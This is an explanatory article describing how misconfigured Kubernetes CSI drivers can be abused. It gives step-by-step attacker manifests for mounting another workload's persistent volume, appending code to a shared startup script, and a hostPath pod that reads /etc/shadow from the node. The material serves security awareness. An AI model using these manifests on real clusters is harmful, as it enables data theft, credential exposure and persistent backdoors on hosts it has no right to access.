Insecure CSI Drivers
Container Storage Interface (CSI) drivers enable Kubernetes to manage persistent storage across different backends. If misconfigured or insecure, these drivers can allow attackers to access sensitive data, escalate privileges, or compromise the host node.
This article explores how insecure CSI drivers can be abused to gain unauthorized access to persistent volumes or host filesystems.
Exploitation Steps: Abusing Insecure CSI Drivers
1. Discover Exposed CSI Drivers
The attacker begins by identifying CSI drivers and storage classes that may lack security controls:
kubectl get storageclass
If a storage class uses a permissive CSI driver, the attacker proceeds to mount existing volumes.
2. Attach to a Sensitive Persistent Volume
The attacker creates a malicious pod that mounts a PVC from another workload:
apiVersion: v1
kind: Pod
metadata:
name: attacker-pod
spec:
containers:
- name: attacker-container
image: alpine
command: ["/bin/sh", "-c"]
args: ["sleep 3600"]
volumeMounts:
- mountPath: /data
name: compromised-volume
volumes:
- name: compromised-volume
persistentVolumeClaim:
claimName: sensitive-data-pvc
kubectl apply -f attacker-pod.yaml
Once the pod is running, the attacker can access the mounted data from /data.
3. Modify Shared Volumes (RWX Mode)
If the volume supports ReadWriteMany, the attacker injects malicious files:
echo "Malicious code" >> /data/startup.sh
This allows code execution when another pod uses the same volume.
4. Exploit Privileged CSI Driver Access
Some CSI drivers are deployed with host-level access. An attacker can exploit this by mounting the host filesystem:
apiVersion: v1
kind: Pod
metadata:
name: csi-exploit-pod
spec:
containers:
- name: exploit-container
image: alpine
command: ["/bin/sh", "-c"]
args: ["cat /host/etc/shadow"]
volumeMounts:
- mountPath: /host
name: host-mount
volumes:
- name: host-mount
hostPath:
path: /
type: Directory
This gives the attacker read (or write) access to sensitive system files on the node.
Result
A misconfigured CSI driver may enable:
- Unauthorized access to persistent data
- Modification of shared volumes
- Host filesystem access via privileged plugins
- Persistent backdoors via mounted scripts